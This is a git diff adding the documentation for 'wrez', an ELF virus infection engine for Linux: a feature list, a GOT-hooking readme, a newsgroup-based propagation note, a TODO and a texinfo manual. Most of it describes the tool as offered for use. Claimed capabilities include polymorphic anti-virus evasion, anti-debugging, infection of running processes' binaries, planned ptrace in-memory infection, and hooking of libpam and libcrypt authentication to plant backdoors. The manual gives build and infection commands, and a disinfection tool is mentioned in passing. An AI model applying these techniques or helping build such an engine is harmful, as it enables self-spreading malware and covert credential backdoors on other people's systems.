| 8 | 0.7.4 fix bugs in GOT chaining | ||
| 9 | write doc | ||
| 10 | add wrezsweep program | ||
| 11 | |||
| 12 | 0.7.0 bugfixes, bugfixes, bugfixes | ||
| 13 | |||
| 14 | 0.6.14 ah, there is a changelog, nice i forgot about it ;) | ||
| 15 | |||
| 16 | 0.6.8 changelog generated | ||
| 17 | |||
diff --git a/other/wrez/doc/CTORS-CALLING-CODE b/other/wrez/doc/CTORS-CALLING-CODE new file mode 100644 index 0000000..36c75ec --- /dev/null +++ b/other/wrez/doc/CTORS-CALLING-CODE | |||
| @@ -0,0 +1,15 @@ | |||
| 1 | |||
| 2 | 0x804bc29 <error+11849>: add $0xfffffffc,%ebx | ||
| 3 | 0x804bc2c <error+11852>: cmpl $0xffffffff,(%ebx) | ||
| 4 | 0x804bc2f <error+11855>: jne 0x804bc25 <error+11845> | ||
| 5 | 0x804bc31 <error+11857>: pop %ebx | ||
| 6 | 0x804bc32 <error+11858>: leave | ||
| 7 | 0x804bc33 <error+11859>: ret | ||
| 8 | 0x804bc34 <error+11860>: push %ebp | ||
| 9 | 0x804bc35 <error+11861>: mov %esp,%ebp | ||
| 10 | 0x804bc37 <error+11863>: sub $0x8,%esp | ||
| 11 | 0x804bc3a <error+11866>: leave | ||
| 12 | (gdb) x/10b $pc | ||
| 13 | 0x804bc29 <error+11849>: 0x83 0xc3 0xfc | ||
| 14 | |||
| 15 | |||
diff --git a/other/wrez/doc/DEBUGGING b/other/wrez/doc/DEBUGGING new file mode 100644 index 0000000..d56360d --- /dev/null +++ b/other/wrez/doc/DEBUGGING | |||
| @@ -0,0 +1,2 @@ | |||
| 1 | objcopy -j .text -O binary wrez | ||
| 2 | objdump --target=binary --architecture=i386 -D wrez | ||
diff --git a/other/wrez/doc/FEATURES b/other/wrez/doc/FEATURES new file mode 100644 index 0000000..b02c808 --- /dev/null +++ b/other/wrez/doc/FEATURES | |||
| @@ -0,0 +1,65 @@ | |||
| 1 | |||
| 2 | |||
| 3 | wrez infection engine | ||
| 4 | |||
| 5 | |||
| 6 | features | ||
| 7 | ======== | ||
| 8 | |||
| 9 | basic features | ||
| 10 | -------------- | ||
| 11 | |||
| 12 | - fully pic code, useable as shellcode, too | ||
| 13 | - no size restriction on virus code (though < ~20kb is good, see | ||
| 14 | below) | ||
| 15 | - completely modular featureset, most of the code is optional and | ||
| 16 | can be turned on/off through a simple comment in the Makefile | ||
| 17 | - small size: compressed between 2000 and 6000 bytes | ||
| 18 | - fast infection (~30 binaries per second) | ||
| 19 | |||
| 20 | |||
| 21 | advanced features | ||
| 22 | ----------------- | ||
| 23 | |||
| 24 | anti-debugging | ||
| 25 | - strace and ltrace in-memory detection | ||
| 26 | - gdb stealthing, displaying its own memory as "not mapped" | ||
| 27 | - (disabled by default) ptrace-detection | ||
| 28 | |||
| 29 | anti-virus-detection | ||
| 30 | - polymorph decryptor engine (LiME by zhugejin) | ||
| 31 | |||
| 32 | runtime-related | ||
| 33 | - cleanup code, leaving only very small memory footprint | ||
| 34 | - compression engine, crunching the virus down to roughly %60 of the | ||
| 35 | original size. the original virus should be smaller than 20kb, for | ||
| 36 | the decompressor to work properly. | ||
| 37 | - SIGSEGV/SIGILL catching protection around 90% of the virus code. | ||
| 38 | even in case the virus segfaults, its possible to recover to a sane | ||
| 39 | state in 99% of the cases. | ||
| 40 | |||
| 41 | infection-related | ||
| 42 | - activation through .ctors redirection at machine-code level, still | ||
| 43 | leaving the original .ctors section untouched and chaining it | ||
| 44 | - sections/section header table relocation on infection | ||
| 45 | - advanced user-uid infection, locating running processes and their | ||
| 46 | binaries | ||
| 47 | - ability to infect binaries of running processes (avoiding ETXTBUSY) | ||
| 48 | - as best as possible stat preservement when infecting ([cma]time, | ||
| 49 | mode, owner). access time (atime) is only preserved when running | ||
| 50 | as root | ||
| 51 | |||
| 52 | api functionality | ||
| 53 | - call api to any mapped library function (libc and others) | ||
| 54 | - call, hook, chain, modify GOT entries of your host executeable or | ||
| 55 | any mapped library, (i.e. any GOT table). ability to watch and | ||
| 56 | redirect multiple GOT entries across multiple shared libraries | ||
| 57 | at once, watching and re-redirecting them when lazy binding is used. | ||
| 58 | - host fingerprint functionality, change-detection | ||
| 59 | |||
| 60 | |||
| 61 | known weaknesses | ||
| 62 | ================ | ||
| 63 | |||
| 64 | - not strip save | ||
| 65 | |||
diff --git a/other/wrez/doc/GOOGLE-PROPAGATION b/other/wrez/doc/GOOGLE-PROPAGATION new file mode 100644 index 0000000..05fc9e4 --- /dev/null +++ b/other/wrez/doc/GOOGLE-PROPAGATION | |||
| @@ -0,0 +1,12 @@ | |||
| 1 | |||
| 2 | http://groups.google.com/groups?as_q=warcraft&as_ugroup=rec.games.misc&num=100&as_scoring=d&hl=en | ||
| 3 | |||
| 4 | |||
| 5 | so: | ||
| 6 | <keyword> some unique string the virus identifies messages with | ||
| 7 | <dgroup> newsgroup to drop the messages to | ||
| 8 | |||
| 9 | |||
| 10 | http://groups.google.com/groups?as_q=keyword&as_ugroup=dgroup&num=100&as_scoring=d&hl=en | ||
| 11 | |||
| 12 | |||
diff --git a/other/wrez/doc/HOOKING b/other/wrez/doc/HOOKING new file mode 100644 index 0000000..6933506 --- /dev/null +++ b/other/wrez/doc/HOOKING | |||
| @@ -0,0 +1,82 @@ | |||
| 1 | |||
| 2 | |||
| 3 | wrez - GOT hooking | ||
| 4 | short readme file | ||
| 5 | |||
| 6 | |||
| 7 | The wrez API provides some functionality to hook functions called from the | ||
| 8 | host binary. This functions are: | ||
| 9 | |||
| 10 | |||
| 11 | Elf32_Word * | ||
| 12 | got_funcloc (void *mybase, char *name); | ||
| 13 | |||
| 14 | Elf32_Word * | ||
| 15 | got_funcloc_dyn (Elf32_Dyn *dyno, Elf32_Addr loadbase, char *name); | ||
| 16 | |||
| 17 | |||
| 18 | The first function is a simple wrapper to the second, which provides more | ||
| 19 | precise control what functions you want to hook. Every executeable and every | ||
| 20 | shared library within the process space has a global offset table associated | ||
| 21 | with it (GOT). The 'got_funcloc' function only affects the GOT of the host | ||
| 22 | executeable. With it, you can redirect any library function called from the | ||
| 23 | host code. So, if the infected file runs system() or some other library call, | ||
| 24 | you can hook it by changing its GOT table entry. The use of the 'got_funcloc' | ||
| 25 | function is pretty straightforward, you only have to know the name of the | ||
| 26 | function you want to hook and the base address of the executeable. The base | ||
| 27 | address is the address of first byte of the ELF header, and usually provided | ||
| 28 | through the wrconfig structure after a successful infection. | ||
| 29 | |||
| 30 | You can also hook functions called from shared libraries. But this is only | ||
| 31 | true for library functions, but then its even possible to hook intra-library | ||
| 32 | function calls, for example if libpam calls one of its internal functions, its | ||
| 33 | possible to hook this. It is not possible to hook syscalls within libc, for | ||
| 34 | example you cannot hook execve calls within libc. You can, however, hook | ||
| 35 | inter-library calls of execve, such as if an external library calls execve. | ||
| 36 | |||
| 37 | To sum it up: | ||
| 38 | |||
| 39 | Type of call | Library relation | Hookable | ||
| 40 | ----------------------------+------------------+------------------------- | ||
| 41 | System call | none | no | ||
| 42 | Library system call | none | no | ||
| 43 | Executeable to library | inter | yes, GOT of executeable | ||
| 44 | Library to another library | inter | yes, GOT of calling lib | ||
| 45 | Library to itself | intra | yes, GOT of library | ||
| 46 | ----------------------------+------------------+------------------------- | ||
| 47 | |||
| 48 | The most common thing to do is to hook calls the executeable makes, for | ||
| 49 | example calls to select, execve and other obvious virus targets. | ||
| 50 | |||
| 51 | However, you can also hook some internal calls within the libraries, such as | ||
| 52 | authentification functions (libpam, libcrypt, ..) to provide backdoor | ||
| 53 | functionality. | ||
| 54 | |||
| 55 | |||
| 56 | To hook arbitrary GOT entries, you can use this API function: | ||
| 57 | |||
| 58 | int | ||
| 59 | got_funcloc_array (void *mybase, char *name, Elf32_Word *darr[], int darr_len); | ||
| 60 | |||
| 61 | It fills all GOT locations it can obtain for a function symbol into the darr[] | ||
| 62 | array, which can keep darr_len bytes. The function returns the number of | ||
| 63 | entries filled. | ||
| 64 | |||
| 65 | |||
| 66 | For further information look into lookup.h, lookup.c and wrcore.c | ||
| 67 | (LIBC_CALLING_EXAMPLE, GOT_REDIRECTION_EXAMPLE, GOT_DEEP_REDIRECTION_EXAMPLE). | ||
| 68 | |||
| 69 | |||
| 70 | To see the redirection code in action, uncomment the two DFLAGS lines in the | ||
| 71 | Makefile (GOT_*_EXAMPLE), and execute: | ||
| 72 | |||
| 73 | $ make release lookuptest | ||
| 74 | $ cp lookup-test/* release-*/ | ||
| 75 | $ cd release-* | ||
| 76 | $ source ldpath.sh | ||
| 77 | $ ./infect shared-library-use | ||
| 78 | $ ./shared-library-use.infected | ||
| 79 | |||
| 80 | See wrcore.c how this is accomplished. | ||
| 81 | |||
| 82 | |||
diff --git a/other/wrez/doc/TODO b/other/wrez/doc/TODO new file mode 100644 index 0000000..fa7e3de --- /dev/null +++ b/other/wrez/doc/TODO | |||
| @@ -0,0 +1,40 @@ | |||
| 1 | |||
| 2 | TODO | ||
| 3 | ==== | ||
| 4 | |||
| 5 | short term | ||
| 6 | - record-route option, include timestamp,ip,cwd,uid,uname in the virus | ||
| 7 | on a change on either of those. make the fingerprinting module more | ||
| 8 | flexible to include multiple (arbitrary number) of sources for | ||
| 9 | the fingerprint. make an accumulative api, sort of hashpool | ||
| 10 | |||
| 11 | - ANTI-DEBUG: modify [sl]trace protection to scan for "race" instead | ||
| 12 | of "trac", to defy subterfugue, too (http://subterfugue.org/) | ||
| 13 | |||
| 14 | - replace/provide small inlined assembly versions of: | ||
| 15 | memmove, strstr | ||
| 16 | |||
| 17 | - make more use of the per-host fingerprinting functionality (like: | ||
| 18 | propagation-limitations, mode-change-after-certain-hopcount-reached, | ||
| 19 | ...) | ||
| 20 | |||
| 21 | |||
| 22 | mid term | ||
| 23 | - think of a way to make it strip-save | ||
| 24 | |||
| 25 | - add in-memory infection code. try to infect every running process | ||
| 26 | through ptrace, by attaching to it, finding malloc(), and copying | ||
| 27 | itself into the created space. add a special flag into the runtime | ||
| 28 | infected copy, so that its recognized as a) already infected and | ||
| 29 | b) runnign only within-memory. try to make the virus as lasting | ||
| 30 | as possible, even in uid=user environments, where no binary can be | ||
| 31 | infected. make it resident in victim process by hooking some common | ||
| 32 | .plt entry, such as read()/write()/select() | ||
| 33 | |||
| 34 | |||
| 35 | long term | ||
| 36 | - discuss ssh and generic pty ideas, maybe do evil things through .plt | ||
| 37 | |||
| 38 | - evaluate further propagation methods (active ones) | ||
| 39 | |||
| 40 | |||
diff --git a/other/wrez/doc/wrez-manual/wrez.aux b/other/wrez/doc/wrez-manual/wrez.aux new file mode 100644 index 0000000..18ab83a --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.aux | |||
| @@ -0,0 +1,15 @@ | |||
| 1 | 'xrdef {Top-title}{WREZ Introduction} | ||
| 2 | 'xrdef {Top-pg}{1} | ||
| 3 | 'xrdef {Top-snt}{} | ||
| 4 | 'xrdef {Building WREZ-title}{Building WREZ} | ||
| 5 | 'xrdef {Building WREZ-pg}{2} | ||
| 6 | 'xrdef {Building WREZ-snt}{Section'tie1.1} | ||
| 7 | 'xrdef {WREZ API-title}{WREZ API} | ||
| 8 | 'xrdef {WREZ API-pg}{7} | ||
| 9 | 'xrdef {WREZ API-snt}{Chapter'tie4} | ||
| 10 | 'xrdef {wrezsweep utility-title}{\command {wrezsweep} utility} | ||
| 11 | 'xrdef {wrezsweep utility-pg}{11} | ||
| 12 | 'xrdef {wrezsweep utility-snt}{Section'tie5.2} | ||
| 13 | 'xrdef {Index-title}{Index} | ||
| 14 | 'xrdef {Index-pg}{13} | ||
| 15 | 'xrdef {Index-snt}{} | ||
diff --git a/other/wrez/doc/wrez-manual/wrez.cp b/other/wrez/doc/wrez-manual/wrez.cp new file mode 100644 index 0000000..b486cec --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.cp | |||
| @@ -0,0 +1,31 @@ | |||
| 1 | \entry{about WREZ}{1}{about WREZ} | ||
| 2 | \entry{engine code}{1}{engine code} | ||
| 3 | \entry{WREZ toolchain}{1}{WREZ toolchain} | ||
| 4 | \entry{building WREZ}{2}{building WREZ} | ||
| 5 | \entry{engine features, configuration}{2}{engine features, configuration} | ||
| 6 | \entry{release target, files created}{2}{release target, files created} | ||
| 7 | \entry{infect wrapper}{2}{infect wrapper} | ||
| 8 | \entry{initial infector}{3}{initial infector} | ||
| 9 | \entry{initial, command line options}{3}{initial, command line options} | ||
| 10 | \entry{wrez.bin.out, configuration}{3}{wrez.bin.out, configuration} | ||
| 11 | \entry{source, files}{4}{source, files} | ||
| 12 | \entry{helper macros}{7}{helper macros} | ||
| 13 | \entry{STRINGPTR macro}{7}{STRINGPTR macro} | ||
| 14 | \entry{FUNCPTR macro}{7}{FUNCPTR macro} | ||
| 15 | \entry{system calls}{7}{system calls} | ||
| 16 | \entry{library calls}{8}{library calls} | ||
| 17 | \entry{disinfection}{8}{disinfection} | ||
| 18 | \entry{disinfection, manual}{9}{disinfection, manual} | ||
| 19 | \entry{removing the virus}{9}{removing the virus} | ||
| 20 | \entry{.ctors address, restoring the}{10}{.ctors address, restoring the} | ||
| 21 | \entry{PT_LOAD segment header, fixing the}{10}{PT_LOAD segment header, fixing the} | ||
| 22 | \entry{section header table offset, fixing the}{10}{section header table offset, fixing the} | ||
| 23 | \entry{section header table, fixing the}{10}{section header table, fixing the} | ||
| 24 | \entry{wrezsweep utility}{11}{wrezsweep utility} | ||
| 25 | \entry{VIT virus}{11}{VIT virus} | ||
| 26 | \entry{wrezsweep help}{11}{wrezsweep help} | ||
| 27 | \entry{disinfection, automatic}{11}{disinfection, automatic} | ||
| 28 | \entry{polymorph disinfection}{11}{polymorph disinfection} | ||
| 29 | \entry{wrezsweep verbose mode}{11}{wrezsweep verbose mode} | ||
| 30 | \entry{virus extraction, automatic}{11}{virus extraction, automatic} | ||
| 31 | \entry{wrezsweep example}{11}{wrezsweep example} | ||
diff --git a/other/wrez/doc/wrez-manual/wrez.cps b/other/wrez/doc/wrez-manual/wrez.cps new file mode 100644 index 0000000..e74461c --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.cps | |||
| @@ -0,0 +1,45 @@ | |||
| 1 | \initial {.} | ||
| 2 | \entry {.ctors address, restoring the}{10} | ||
| 3 | \initial {A} | ||
| 4 | \entry {about WREZ}{1} | ||
| 5 | \initial {B} | ||
| 6 | \entry {building WREZ}{2} | ||
| 7 | \initial {D} | ||
| 8 | \entry {disinfection}{8} | ||
| 9 | \entry {disinfection, automatic}{11} | ||
| 10 | \entry {disinfection, manual}{9} | ||
| 11 | \initial {E} | ||
| 12 | \entry {engine code}{1} | ||
| 13 | \entry {engine features, configuration}{2} | ||
| 14 | \initial {F} | ||
| 15 | \entry {FUNCPTR macro}{7} | ||
| 16 | \initial {H} | ||
| 17 | \entry {helper macros}{7} | ||
| 18 | \initial {I} | ||
| 19 | \entry {infect wrapper}{2} | ||
| 20 | \entry {initial infector}{3} | ||
| 21 | \entry {initial, command line options}{3} | ||
| 22 | \initial {L} | ||
| 23 | \entry {library calls}{8} | ||
| 24 | \initial {P} | ||
| 25 | \entry {polymorph disinfection}{11} | ||
| 26 | \entry {PT_LOAD segment header, fixing the}{10} | ||
| 27 | \initial {R} | ||
| 28 | \entry {release target, files created}{2} | ||
| 29 | \entry {removing the virus}{9} | ||
| 30 | \initial {S} | ||
| 31 | \entry {section header table offset, fixing the}{10} | ||
| 32 | \entry {section header table, fixing the}{10} | ||
| 33 | \entry {source, files}{4} | ||
| 34 | \entry {STRINGPTR macro}{7} | ||
| 35 | \entry {system calls}{7} | ||
| 36 | \initial {V} | ||
| 37 | \entry {virus extraction, automatic}{11} | ||
| 38 | \entry {VIT virus}{11} | ||
| 39 | \initial {W} | ||
| 40 | \entry {WREZ toolchain}{1} | ||
| 41 | \entry {wrez.bin.out, configuration}{3} | ||
| 42 | \entry {wrezsweep example}{11} | ||
| 43 | \entry {wrezsweep help}{11} | ||
| 44 | \entry {wrezsweep utility}{11} | ||
| 45 | \entry {wrezsweep verbose mode}{11} | ||
diff --git a/other/wrez/doc/wrez-manual/wrez.fn b/other/wrez/doc/wrez-manual/wrez.fn new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.fn | |||
diff --git a/other/wrez/doc/wrez-manual/wrez.ky b/other/wrez/doc/wrez-manual/wrez.ky new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.ky | |||
diff --git a/other/wrez/doc/wrez-manual/wrez.log b/other/wrez/doc/wrez-manual/wrez.log new file mode 100644 index 0000000..528afa4 --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.log | |||
| @@ -0,0 +1,180 @@ | |||
| 1 | This is pdfTeX, Version 3.14159-1.00a-pretest-20011114-ojmw (Web2C 7.3.7) (format=pdftex 2002.3.30) 14 APR 2002 11:21 | ||
| 2 | **/secure/cvs-impact/wrez/wrez/doc/wrez-manual/wrez.texinfo | ||
| 3 | (/secure/cvs-impact/wrez/wrez/doc/wrez-manual/wrez.texinfo{/usr/share/texmf/pdf | ||
| 4 | tex/config/pdftex.cfg} | ||
| 5 | Babel <v3.7h> and hyphenation patterns for american, french, german, ngerman, n | ||
| 6 | ohyphenation, loaded. | ||
| 7 | (/usr/share/texmf/tex/texinfo/texinfo.tex | ||
| 8 | Loading texinfo [version 2002-03-01.06]: Basics, | ||
| 9 | \bindingoffset=\dimen16 | ||
| 10 | \normaloffset=\dimen17 | ||
| 11 | \pagewidth=\dimen18 | ||
| 12 | \pageheight=\dimen19 | ||
| 13 | \outerhsize=\dimen20 | ||
| 14 | \outervsize=\dimen21 | ||
| 15 | \cornerlong=\dimen22 | ||
| 16 | \cornerthick=\dimen23 | ||
| 17 | \topandbottommargin=\dimen24 | ||
| 18 | \headlinebox=\box16 | ||
| 19 | \footlinebox=\box17 | ||
| 20 | \margin=\insert252 | ||
| 21 | \EMsimple=\toks12 | ||
| 22 | \singlespaceskip=\skip18 | ||
| 23 | \groupinvalidhelp=\toks13 | ||
| 24 | \mil=\dimen25 | ||
| 25 | \exdentamount=\skip19 | ||
| 26 | \inmarginspacing=\skip20 | ||
| 27 | pdf, | ||
| 28 | \tempnum=\count26 | ||
| 29 | \lnkcount=\count27 | ||
| 30 | \filename=\toks14 | ||
| 31 | \filenamelength=\count28 | ||
| 32 | \pgn=\count29 | ||
| 33 | \toksA=\toks15 | ||
| 34 | \toksB=\toks16 | ||
| 35 | \toksC=\toks17 | ||
| 36 | \toksD=\toks18 | ||
| 37 | \boxA=\box18 | ||
| 38 | \countA=\count30 | ||
| 39 | |||
| 40 | (/usr/share/texmf/pdftex/plain/misc/pdfcolor.tex) fonts, | ||
| 41 | \sffam=\fam8 | ||
| 42 | \textleading=\dimen26 | ||
| 43 | \mainmagstep=\count31 | ||
| 44 | \fontdepth=\count32 | ||
| 45 | page headings, | ||
| 46 | \titlepagetopglue=\skip21 | ||
| 47 | \titlepagebottomglue=\skip22 | ||
| 48 | \evenheadline=\toks19 | ||
| 49 | \oddheadline=\toks20 | ||
| 50 | \evenfootline=\toks21 | ||
| 51 | \oddfootline=\toks22 | ||
| 52 | |||
| 53 | tables, | ||
| 54 | \tableindent=\dimen27 | ||
| 55 | \itemindent=\dimen28 | ||
| 56 | \itemmargin=\dimen29 | ||
| 57 | \itemmax=\dimen30 | ||
| 58 | \itemno=\count33 | ||
| 59 | \multitableparskip=\skip23 | ||
| 60 | \multitableparindent=\skip24 | ||
| 61 | \multitablecolspace=\dimen31 | ||
| 62 | \multitablelinespace=\skip25 | ||
| 63 | \colcount=\count34 | ||
| 64 | conditionals, indexing, | ||
| 65 | \secondaryindent=\skip26 | ||
| 66 | \partialpage=\box19 | ||
| 67 | \doublecolumnhsize=\dimen32 | ||
| 68 | sectioning, | ||
| 69 | \chapno=\count35 | ||
| 70 | \secno=\count36 | ||
| 71 | \subsecno=\count37 | ||
| 72 | \subsubsecno=\count38 | ||
| 73 | \appendixno=\count39 | ||
| 74 | \absseclevel=\count40 | ||
| 75 | \secbase=\count41 | ||
| 76 | \chapheadingskip=\skip27 | ||
| 77 | \secheadingskip=\skip28 | ||
| 78 | \subsecheadingskip=\skip29 | ||
| 79 | toc, | ||
| 80 | \tocfile=\write0 | ||
| 81 | \contentsrightmargin=\skip30 | ||
| 82 | \savepageno=\count42 | ||
| 83 | \lastnegativepageno=\count43 | ||
| 84 | \shortappendixwidth=\dimen33 | ||
| 85 | \tocindent=\dimen34 | ||
| 86 | environments, | ||
| 87 | \dblarrowbox=\box20 | ||
| 88 | \longdblarrowbox=\box21 | ||
| 89 | \pushcharbox=\box22 | ||
| 90 | \bullbox=\box23 | ||
| 91 | \equivbox=\box24 | ||
| 92 | \errorbox=\box25 | ||
| 93 | \lispnarrowing=\skip31 | ||
| 94 | \envskipamount=\skip32 | ||
| 95 | \circthick=\dimen35 | ||
| 96 | \cartouter=\dimen36 | ||
| 97 | \cartinner=\dimen37 | ||
| 98 | \normbskip=\skip33 | ||
| 99 | \normpskip=\skip34 | ||
| 100 | \normlskip=\skip35 | ||
| 101 | \lskip=\skip36 | ||
| 102 | \rskip=\skip37 | ||
| 103 | \tabw=\dimen38 | ||
| 104 | defuns, | ||
| 105 | \defbodyindent=\skip38 | ||
| 106 | \defargsindent=\skip39 | ||
| 107 | \deftypemargin=\skip40 | ||
| 108 | \deflastargmargin=\skip41 | ||
| 109 | \parencount=\count44 | ||
| 110 | macros, | ||
| 111 | \macscribble=\write1 | ||
| 112 | \paramno=\count45 | ||
| 113 | \macname=\toks23 | ||
| 114 | |||
| 115 | cross references, | ||
| 116 | \auxfile=\write2 | ||
| 117 | \savesfregister=\count46 | ||
| 118 | \footnoteno=\count47 | ||
| 119 | (/usr/share/texmf/tex/plain/dvips/epsf.tex | ||
| 120 | \epsffilein=\read0 | ||
| 121 | \epsfframemargin=\dimen39 | ||
| 122 | \epsfframethickness=\dimen40 | ||
| 123 | \epsfrsize=\dimen41 | ||
| 124 | \epsftmp=\dimen42 | ||
| 125 | \epsftsize=\dimen43 | ||
| 126 | \epsfxsize=\dimen44 | ||
| 127 | \epsfysize=\dimen45 | ||
| 128 | \pspoints=\dimen46 | ||
| 129 | \epsfnoopenhelp=\toks24 | ||
| 130 | ) | ||
| 131 | \noepsfhelp=\toks25 | ||
| 132 | localization, | ||
| 133 | \nolanghelp=\toks26 | ||
| 134 | \defaultparindent=\dimen47 | ||
| 135 | |||
| 136 | and turning on texinfo input format.) (./wrez.aux) | ||
| 137 | @cpindfile=@write3 | ||
| 138 | @fnindfile=@write4 | ||
| 139 | @vrindfile=@write5 | ||
| 140 | @tpindfile=@write6 | ||
| 141 | @kyindfile=@write7 | ||
| 142 | @pgindfile=@write8 | ||
| 143 | [1 | ||
| 144 | \openout2 = `wrez.aux'. | ||
| 145 | |||
| 146 | \openout3 = `wrez.cp'. | ||
| 147 | |||
| 148 | \openout4 = `wrez.fn'. | ||
| 149 | |||
| 150 | \openout5 = `wrez.vr'. | ||
| 151 | |||
| 152 | \openout6 = `wrez.tp'. | ||
| 153 | |||
| 154 | \openout7 = `wrez.ky'. | ||
| 155 | |||
| 156 | \openout8 = `wrez.pg'. | ||
| 157 | |||
| 158 | {/usr/share/texmf/dvips/config/pdftex.map}] [2] (./wrez.toc) [-1] (./wrez.toc) | ||
| 159 | (./wrez.toc) | ||
| 160 | (WREZ Introduction) | ||
| 161 | \openout0 = `wrez.toc'. | ||
| 162 | |||
| 163 | Chapter 1 [1] [2] Chapter 2 [3] [4] Chapter 3 [5] | ||
| 164 | Chapter 4 [6] [7] Chapter 5 [8] [9] [10] [11] (Index) [12] (./wrez.cps) | ||
| 165 | [13] ) | ||
| 166 | Here is how much of TeX's memory you used: | ||
| 167 | 1516 strings out of 12477 | ||
| 168 | 16330 string characters out of 89681 | ||
| 169 | 42065 words of memory out of 263001 | ||
| 170 | 2512 multiletter control sequences out of 10000+0 | ||
| 171 | 31784 words of font info for 110 fonts, out of 400000 for 1000 | ||
| 172 | 19 hyphenation exceptions out of 1000 | ||
| 173 | 12i,6n,10p,262b,319s stack positions out of 300i,100n,500p,50000b,4000s | ||
| 174 | </usr/share/texmf/fonts/type1/bluesky/cm/cmti9.pfb></usr/share/texmf/font | ||
| 175 | s/type1/bluesky/cm/cmr9.pfb></usr/share/texmf/fonts/type1/bluesky/cm/cmtt12.pfb | ||
| 176 | ></usr/share/texmf/fonts/type1/bluesky/cm/cmtt10.pfb></usr/share/texmf/fonts/ty | ||
| 177 | pe1/bluesky/cm/cmti10.pfb></usr/share/texmf/fonts/type1/bluesky/cm/cmbxti10.pfb | ||
| 178 | ></usr/share/texmf/fonts/type1/bluesky/cm/cmsy10.pfb></usr/share/texmf/fonts/ty | ||
| 179 | pe1/bluesky/cm/cmr10.pfb></usr/share/texmf/fonts/type1/bluesky/cm/cmbx12.pfb> | ||
| 180 | Output written on wrez.pdf (16 pages, 126833 bytes). | ||
diff --git a/other/wrez/doc/wrez-manual/wrez.pdf b/other/wrez/doc/wrez-manual/wrez.pdf new file mode 100644 index 0000000..48e25de --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.pdf | |||
| Binary files differ | |||
diff --git a/other/wrez/doc/wrez-manual/wrez.pg b/other/wrez/doc/wrez-manual/wrez.pg new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.pg | |||
diff --git a/other/wrez/doc/wrez-manual/wrez.texinfo b/other/wrez/doc/wrez-manual/wrez.texinfo new file mode 100644 index 0000000..cca64e1 --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.texinfo | |||
| @@ -0,0 +1,635 @@ | |||
| 1 | \input texinfo | ||
| 2 | @c %**start of header | ||
| 3 | @setfilename wrez | ||
| 4 | @settitle WREZ infection engine manual | ||
| 5 | @c %**end of header | ||
| 6 | |||
| 7 | @ifinfo | ||
| 8 | This is the technical documentation and manual to the WREZ infection | ||
| 9 | engine. | ||
| 10 | |||
| 11 | Copyright @copyright{} 2002 Anonymous. | ||
| 12 | @end ifinfo | ||
| 13 | |||
| 14 | @titlepage | ||
| 15 | @sp 10 | ||
| 16 | @center @titlefont{WREZ infection engine manual} | ||
| 17 | @sp 2 | ||
| 18 | @center version 0.0 | ||
| 19 | |||
| 20 | @page | ||
| 21 | @vskip 0pt plus 1filll | ||
| 22 | Copyright @copyright{} 2002 Anonymous. | ||
| 23 | @end titlepage | ||
| 24 | |||
| 25 | @contents | ||
| 26 | |||
| 27 | @comment node-name, next, previous, up | ||
| 28 | @node Top, WREZ Introduction, , (dir) | ||
| 29 | |||
| 30 | @menu | ||
| 31 | * WREZ Introduction:: A short introduction about the engine | ||
| 32 | * Index:: The alphabetical index | ||
| 33 | @end menu | ||
| 34 | |||
| 35 | |||
| 36 | @unnumbered WREZ Introduction | ||
| 37 | |||
| 38 | This introduction will guide you through the rest of the manual and | ||
| 39 | explains what its all about. | ||
| 40 | |||
| 41 | @cindex about WREZ | ||
| 42 | WREZ is a generic virus engine that provides a concise and powerful API to | ||
| 43 | provide various functionality for payload code. It can be used to embed | ||
| 44 | hostile code into and generally makes the world easier for this type of | ||
| 45 | payload. Currently, it is designed to infect ELF executeables on the Linux | ||
| 46 | operating system under the Intel IA32 architecture. | ||
| 47 | |||
| 48 | @cindex engine code | ||
| 49 | Most of the engine is written in position independant C code, while some | ||
| 50 | low level parts are written in IA32 assembly. The engine consists of a | ||
| 51 | number of independant modules. It is possible to enable and disable those | ||
| 52 | modules individually to reduce the overall engine size. | ||
| 53 | |||
| 54 | @cindex WREZ toolchain | ||
| 55 | A complete toolchain around the engine is provided. It includes tools to | ||
| 56 | infect executeable files, check for a possible infection and to disinfect | ||
| 57 | binaries which are infected with WREZ. The buildprocess is controlled | ||
| 58 | through a central @code{Makefile}, and a testing suite is provided to test | ||
| 59 | and demonstrate certain features of the engine using example binaries. | ||
| 60 | |||
| 61 | |||
| 62 | @chapter Using WREZ | ||
| 63 | |||
| 64 | This chapter describes how to control the WREZ build process. It will show | ||
| 65 | you how to enable and disable various features of the engine, how to | ||
| 66 | produce an initial infector and how to use it to infect an arbitrary | ||
| 67 | executeable. | ||
| 68 | |||
| 69 | @cindex building WREZ | ||
| 70 | @node Building WREZ,,,Top | ||
| 71 | @section Building WREZ | ||
| 72 | |||
| 73 | To build the engine from the sources, you need the complete GNU toolchain, | ||
| 74 | which includes @command{gcc}, @command{ld}, @command{objdump}, | ||
| 75 | @command{objcopy}, @command{cpp} and @command{gmake}. Additionally you need | ||
| 76 | the have the @command{nasm} assembler and the @command{awk} script language | ||
| 77 | installed. | ||
| 78 | |||
| 79 | Ensure all of the above tools are properly installed before proceeding. | ||
| 80 | |||
| 81 | @cindex engine features, configuration | ||
| 82 | @subsection Configuring engine features | ||
| 83 | |||
| 84 | Open the @file{Makefile} file in your favorite editor. The first few lines | ||
| 85 | are the configuration section of the @file{Makefile}, where you can enable | ||
| 86 | and disable the features that will be in the virus produced. To enable | ||
| 87 | them, uncomment them. Be aware that some features depend on other features, | ||
| 88 | so only enable them in case you have this code enabled, too. To know what | ||
| 89 | features you need, determine what functionality of the API you need for | ||
| 90 | your payload. @xref{WREZ API}. | ||
| 91 | |||
| 92 | @subsection Building the virus binary | ||
| 93 | |||
| 94 | To build the virus binary, issue a "@command{make release}" command in the | ||
| 95 | top directory. When the build succeeds, a new directory | ||
| 96 | "@code{release-}@emph{version}" will be created accordingly and the following | ||
| 97 | files are created there: | ||
| 98 | @table @code | ||
| 99 | @cindex release target, files created | ||
| 100 | @item infect | ||
| 101 | A simple wrapper to infect a single executeable with vanilla options. | ||
| 102 | |||
| 103 | @item initial | ||
| 104 | The more detailed infection program, offering a more precise control of the | ||
